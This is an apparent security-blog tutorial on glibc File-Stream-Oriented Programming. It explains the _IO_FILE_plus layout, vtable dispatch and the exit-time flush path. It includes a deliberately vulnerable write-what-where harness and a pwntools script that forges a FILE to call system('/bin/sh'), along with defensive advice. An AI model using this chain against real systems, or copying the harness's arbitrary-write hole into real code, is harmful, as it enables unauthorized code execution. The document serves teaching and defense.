_IO_FILE Exploitation: FSOP Fundamentals

_IO_FILE Exploitation: FSOP Fundamentals - article cover image RE & Pwn
Time it takes to read this article 8 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

File-Stream-Oriented Programming (FSOP) is the family of glibc exploitation techniques that turn control over a FILE object into control over the program counter. Every C stream you have ever used — stdin, stdout, stderr, and anything returned by fopen — is backed by a struct _IO_FILE living in libc’s data segment or on the heap, and each such object carries a vtable: a pointer to a table of function pointers that the C library calls to implement fread, fwrite, fclose, flushing, and buffering. If an attacker can forge a FILE or corrupt an existing one so that its vtable pointer (or the fields the vtable functions read) are attacker-controlled, then the next library operation on that stream becomes an indirect call the attacker chose.

FSOP is attractive precisely because the trigger is often *free*. glibc flushes all open streams at normal program exit, so an attacker who has corrupted the stream list does not even need the victim to call a file function — merely returning from main or calling exit() walks every registered FILE and invokes its __overflow handler. This article establishes the FSOP fundamentals: the _IO_FILE/_IO_FILE_plus layout, the vtable / _IO_jump_t dispatch, and the exit-time flush path through _IO_flush_all_lockp that most FSOP chains detonate on. Later articles in this series build the concrete modern chains (str_jumps validation bypass, House of Apple 2) on top of it.

Attack Prerequisites

FSOP is a post-exploitation *conversion* technique: it assumes you already have some corruption primitive and turns it into control flow. In practice you need most of the following:

  • A write primitive that reaches a FILE object — either an arbitrary write onto a libc _IO_2_1_stdout_/_IO_2_1_stdin_ structure, or a heap primitive (e.g. tcache poisoning) that hands you a chunk overlapping a heap-allocated FILE or the head of _IO_list_all.
  • A libc leak — you must know the address of libc to locate the real vtable region, system/a one_gadget, and (on modern glibc) a legitimate in-range jump table to point the vtable at.
  • A controlled or forged vtable pointer, or control of the wide-data / buffer fields the chosen vtable function dereferences.
  • A flush triggerexit(), returning from main, fclose, fflush, or any buffered stdio call. Exit-time flushing via _IO_flush_all_lockp is the most common and requires no cooperation from the target code.

How It Works

A stream is a struct _IO_FILE_plus, which is simply the public _IO_FILE followed by a vtable pointer: struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; };. On x86-64 the _IO_FILE body is 0xd8 bytes, so the vtable pointer sits at offset 0xd8 of the object (this offset is stable across recent 64-bit glibc, but always confirm it against your target build). The _IO_FILE body itself is a dense record of buffer pointers: _flags at offset 0, then _IO_read_ptr, _IO_read_end, _IO_read_base, _IO_write_base, _IO_write_ptr, _IO_write_end, _IO_buf_base, _IO_buf_end, a _chain pointer that links every stream into the global _IO_list_all, _fileno, a _lock pointer, and near the end _mode and the _wide_data pointer used for wide-character streams.

The vtable is a struct _IO_jump_t: an ordered array of function pointers. After two reserved __dummy slots it holds __finish, __overflow, __underflow, __uflow, __pbackfail, __xsputn, __xsgetn, __seekoff, and so on. The library never calls these directly; it uses macros such as _IO_OVERFLOW(fp, ch), _IO_XSPUTN(fp, data, n), and _IO_UNDERFLOW(fp) that expand to an indirect call through fp‘s vtable. _IO_OVERFLOW, for example, resolves to the slot at vtable offset 0x18 on 64-bit and is invoked with the FILE* as its first argument. That last detail is the crux of FSOP: because fp is passed as the first argument (RDI), and the first field of fp is _flags, an attacker who makes __overflow point at system and sets _flags to the string "/bin/sh" effectively calls system("...sh").

The universal trigger is _IO_flush_all_lockp. On exit, glibc’s cleanup path calls it to flush every stream; it walks the singly linked _IO_list_all via each object’s _chain pointer, and for any stream that still has buffered output — the check is essentially fp->_IO_write_ptr > fp->_IO_write_base (with a _mode <= 0 guard for the non-wide path) — it calls _IO_OVERFLOW(fp, EOF). An attacker therefore forges a FILE whose _IO_write_ptr is greater than _IO_write_base, links it into _IO_list_all, and points its vtable so that the __overflow slot lands on the code they want. Because this runs during ordinary teardown, the exploit fires as soon as the program ends.

Vulnerable Code / Setup

The realistic FSOP target is not a single printf bug but a program that hands the attacker a heap write-what-where and keeps buffered streams open until exit. The reduced harness below models exactly that: an editable heap buffer plus a normal exit(), which is all FSOP needs once the write primitive can reach libc’s stream structures.

// fsop_demo.c  — models an arbitrary write + a normal exit()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    // Emulated info leak: real chains derive this from a bug.
    printf("stdout @ %p\n", (void *)stdout);

    // Emulated write-what-where: address then 8 bytes, repeated.
    unsigned long addr, val;
    while (scanf("%lu %lu", &addr, &val) == 2 && addr)
        *(unsigned long *)addr = val;   // <-- the primitive FSOP consumes

    // No explicit file work: exit() alone flushes every FILE and
    // walks _IO_list_all -> _IO_OVERFLOW on each dirty stream.
    exit(0);
}
C

Compile without extra hardening so the mechanism is visible, then confirm the protections in play. The libc build is what matters most for FSOP — the vtable layout, whether the vtable check is present, and which jump tables exist are all libc-version specific:

$ gcc -no-pie -g -o fsop_demo fsop_demo.c
$ checksec --file=./fsop_demo
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE
$ ./fsop_demo --version 2>/dev/null; ldd ./fsop_demo | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
$ /lib/x86_64-linux-gnu/libc.so.6 | head -1   # print the exact build string
Bash

Walkthrough / Exploitation

First, inspect a real stream and its vtable in the debugger so the offsets are concrete for your build. pwndbg understands the FILE layout directly:

gdb -q ./fsop_demo
pwndbg> break main
pwndbg> run
pwndbg> p (void*)stdout            # &_IO_2_1_stdout_
pwndbg> print *(struct _IO_FILE_plus *)stdout
pwndbg> p &((struct _IO_FILE_plus*)0)->vtable   # confirms vtable offset (0xd8)
pwndbg> p _IO_list_all             # head of the stream chain
pwndbg> x/21gx *(void**)&stdout    # dump _flags .. _chain .. vtable
Bash

The classic teaching payload forges a fake FILE entirely in controlled memory and points _IO_list_all at it. The fake object must satisfy the flush condition and carry a vtable whose __overflow slot calls system, with _flags doubling as the command string. On any glibc with the vtable check (2.24+) a fully attacker-owned vtable is rejected — that bypass is the subject of the next article — so here we lay out the structure and show the field constraints that every FSOP variant must still meet:

from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
io   = process('./fsop_demo')

libc.address = int(io.recvline().split()[-1], 16) - libc.sym['_IO_2_1_stdout_']
system       = libc.sym['system']
list_all     = libc.sym['_IO_list_all']

# Build a fake FILE at a known controlled address (e.g. a heap chunk).
fake = FileStructure(null=0)      # pwntools models the _IO_FILE fields
fake.flags       = u64(b'/bin/sh\x00')  # RDI on the overflow call
fake._IO_write_base = 0            # write_ptr > write_base => flush fires
fake._IO_write_ptr  = 1
# fake.vtable must point at a table whose __overflow (off 0x18) == system
Python

The write primitive then places this structure in memory, sets its vtable field, and finally overwrites _IO_list_all to point at it. Each line below is one addr val pair consumed by the harness; in a real target these are the individual writes of your heap or format-string primitive:

def write(addr, val):
    io.sendline(b'%d %d' % (addr, val))

FAKE = libc.address + 0x1000        # some controlled scratch page
payload = bytes(fake)
for i in range(0, len(payload), 8):
    write(FAKE + i, u64(payload[i:i+8].ljust(8, b'\x00')))

write(list_all, FAKE)               # _IO_list_all -> our fake FILE
write(0, 0)                         # ends the loop -> exit() -> flush -> pwn
io.interactive()
Python

When exit(0) runs, _IO_flush_all_lockp starts at _IO_list_all, reaches the fake object, sees _IO_write_ptr (1) > _IO_write_base (0), and calls _IO_OVERFLOW(fake, EOF) — an indirect call through the fake vtable’s 0x18 slot with fake in RDI. On a pre-2.24 libc that lands on system with RDI pointing at _flags == "/bin/sh" and you get a shell. On 2.24+ the vtable check aborts first unless the vtable points inside libc’s legitimate vtable section, which motivates the str_jumps / wfile_jumps techniques covered next.

Note: The exit-time trigger is not the only one, but it is the most reliable. fcloseall, an explicit fflush(NULL), and even library functions that internally buffer will all route through the same _IO_OVERFLOW dispatch. If the target never exits cleanly (e.g. it _exits or is killed), FSOP via _IO_flush_all_lockp will not fire — _exit/_Exit skip stdio cleanup entirely, so confirm the program reaches exit/return from main.

Opsec: FSOP field constraints are unforgiving and version-sensitive. The most common self-inflicted failure is getting the flush condition wrong: for a byte-oriented stream you need _mode <= 0 AND _IO_write_ptr > _IO_write_base; set _mode to a positive value by accident and the non-wide overflow branch is skipped. Dump the candidate FILE with print *(struct _IO_FILE_plus*) right before exit and single-step into _IO_flush_all_lockp to see exactly which branch your object takes.

Detection and Defense

FSOP is a consequence of an earlier memory-corruption bug; the durable defenses are the ones that deny the write primitive or the vtable target, plus the runtime integrity checks glibc has accumulated:

  • Keep glibc current — the vtable check (2.24+) blocks arbitrary fake vtables, and the removal of malloc/free hooks (2.34) removed an easier adjacent target, forcing attackers onto the harder FSOP paths.
  • Full RELRO and PIE raise the cost of the preceding write/leak stages that FSOP depends on; without a libc leak the technique cannot locate a valid vtable or system.
  • Harden allocation lifetimes — most heap-to-FILE pivots start with a UAF, double-free, or overflow; AddressSanitizer and hardened allocators catch these deterministically in testing.
  • Watch for the tell-tale abort — glibc’s "Fatal error: glibc detected an invalid stdio handle" message on a crashing service is a strong signal that someone attempted a vtable-based FSOP against an in-range-only check.

Real-World Impact

FSOP moved from curiosity to standard toolkit with Angel Boy’s *House of Orange* work (2016), which chained a heap overflow into a forged FILE and the _IO_list_all flush path, and it has remained a mainstay of glibc CTF pwn and userland Linux exploitation research ever since. Its importance grew as other primitives were closed off: once glibc 2.34 removed __malloc_hook/__free_hook, the stream structures became one of the few reliably present sets of libc-resident function pointers, making FSOP the default final stage of modern heap exploits. The technique’s evolution — from fake vtables, to in-range _IO_str_jumps abuse, to House of Apple 2’s wide-data path — is a direct dialogue with glibc’s hardening timeline.

Conclusion

FSOP rests on three facts: every C stream is an _IO_FILE_plus with a vtable of function pointers, glibc dispatches all stream operations through that vtable via macros like _IO_OVERFLOW, and exit-time cleanup walks _IO_list_all and calls __overflow on every dirty stream for free. Master the field layout — where the vtable pointer sits, what the flush condition checks, and that fp is the first argument to the dispatched function — and the rest of the FSOP family is variation on which legitimate jump table you point the vtable at and which of the object’s fields the chosen function dereferences. The next articles turn these fundamentals into working, vtable-check-surviving chains.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL